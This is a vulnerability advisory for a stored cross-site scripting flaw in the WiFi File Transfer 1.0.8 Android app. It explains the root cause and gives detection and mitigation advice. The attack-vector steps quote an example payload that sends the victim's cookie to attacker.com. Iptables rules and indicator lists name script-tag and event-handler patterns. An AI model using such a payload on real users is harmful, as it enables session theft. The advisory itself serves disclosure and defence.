CVE-2022-50951: WiFi File Transfer XSS Vulnerability

CVE-2022-50951 Overview

CVE-2022-50951 is a persistent cross-site scripting (XSS) vulnerability affecting WiFi File Transfer version 1.0.8, a popular Android application that enables wireless file sharing between mobile devices and computers via a web interface. The vulnerability exists in the application's web server component, which fails to properly sanitize file and folder names before rendering them in the browser interface. Remote attackers can exploit this input validation weakness by creating files or folders with malicious JavaScript payloads embedded in their names, which are then executed when users preview or browse the infected file paths through the web interface.

Critical Impact

Attackers can execute arbitrary JavaScript code in victim browsers, potentially stealing session data, performing actions on behalf of authenticated users, or redirecting users to malicious websites when they interact with the file transfer interface.

Affected Products

• WiFi File Transfer 1.0.8 (Android application)
• WiFi File Transfer web server component
• Devices running the vulnerable application version with web sharing enabled

Discovery Timeline

• 2026-02-01 - CVE CVE-2022-50951 published to NVD
• 2026-02-03 - Last updated in NVD database

Technical Details for CVE-2022-50951

Vulnerability Analysis

This persistent XSS vulnerability (CWE-79) arises from the WiFi File Transfer application's failure to implement proper output encoding when displaying file and folder names in its web interface. When users enable the WiFi file sharing feature, the application spawns a local web server that serves a file browser interface accessible to other devices on the same network. The web server renders directory listings dynamically, inserting file and folder names directly into the HTML response without adequate sanitization.

The attack requires the attacker to have the ability to create files or folders with specially crafted names containing JavaScript code. When a victim browses to a directory containing these malicious entries, the embedded scripts execute within the context of their browser session. This is classified as stored/persistent XSS because the malicious payload remains on the device until the file or folder is removed, affecting all users who subsequently view the directory listing.

Root Cause

The root cause of this vulnerability is improper input validation and output encoding in the WiFi File Transfer web server component. The application accepts file and folder names containing special HTML characters such as <, >, ", and ' without encoding them to their HTML entity equivalents before rendering. This allows attackers to break out of the intended HTML context and inject arbitrary script elements or event handlers.

The web server does not implement Content Security Policy (CSP) headers or other browser-based XSS protections that could mitigate the impact of successful injection attacks. Additionally, the application lacks server-side filtering of potentially dangerous patterns in file names.

Attack Vector

The attack is network-based, requiring the attacker to be on the same local network as the victim running WiFi File Transfer. The exploitation workflow involves:

1. The attacker connects to the same WiFi network as the target device running WiFi File Transfer
2. The attacker creates a file or folder with a malicious name containing JavaScript code (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>)
3. The attacker uploads this file through the web interface or places it in a shared directory
4. When any user browses to the affected directory through the web interface, the malicious script executes in their browser
5. The script can steal session tokens, redirect users, modify page content, or perform other client-side attacks

The vulnerability requires low privileges (ability to upload/create files) and user interaction (victim must view the directory), but once triggered, the impact includes confidentiality and integrity violations in the user's browser context.

Detection Methods for CVE-2022-50951

Indicators of Compromise

• Presence of files or folders with names containing HTML tags such as <script>, <img>, <svg>, or event handlers like onerror=, onload=
• Unusual JavaScript execution events in browser console when accessing WiFi File Transfer web interface
• Network traffic to unexpected external domains originating from the file transfer web interface
• Files with names containing encoded characters like %3C (URL-encoded <) or HTML entities

Detection Strategies

• Monitor file creation events for names containing suspicious patterns such as script tags or JavaScript event handlers
• Implement network intrusion detection rules to identify XSS patterns in HTTP responses from local WiFi file transfer services
• Review browser developer tools for script errors or unexpected script execution when using the application
• Deploy endpoint detection solutions that can identify XSS exploitation attempts in local web applications

Monitoring Recommendations

• Enable verbose logging on network segments where WiFi File Transfer is commonly used
• Monitor for outbound connections to unexpected domains from devices running file transfer applications
• Implement browser-based security extensions that can detect and block XSS attempts
• Conduct periodic security audits of files and folders accessible through the WiFi File Transfer interface

How to Mitigate CVE-2022-50951

Immediate Actions Required

• Update WiFi File Transfer to the latest available version if a patched version has been released
• Avoid using WiFi File Transfer on untrusted or public networks
• Do not access shared directories from untrusted devices
• Consider using alternative file transfer applications with better security practices
• Restrict WiFi File Transfer usage to isolated networks with trusted devices only

Patch Information

No official patch information is currently available from the vendor. Users should monitor the Google Play App Page for application updates. Additional vulnerability details can be found in the VulnCheck Advisory on XSS and the Vulnerability Lab Database #2322.

Workarounds

• Disable the WiFi file sharing feature when not actively in use
• Manually inspect file and folder names before browsing shared directories, avoiding those with suspicious characters
• Use a browser with strict Content Security Policy enforcement or XSS filtering extensions
• Implement network segmentation to isolate devices running WiFi File Transfer from sensitive systems
• Consider using alternative secure file transfer methods such as encrypted cloud services or direct USB connections

# Network isolation example - create dedicated VLAN for file transfer
# On Linux router/firewall, restrict WiFi File Transfer traffic
iptables -A FORWARD -p tcp --dport 8080 -m string --string "<script" --algo bm -j DROP
iptables -A FORWARD -p tcp --dport 8080 -m string --string "javascript:" --algo bm -j DROP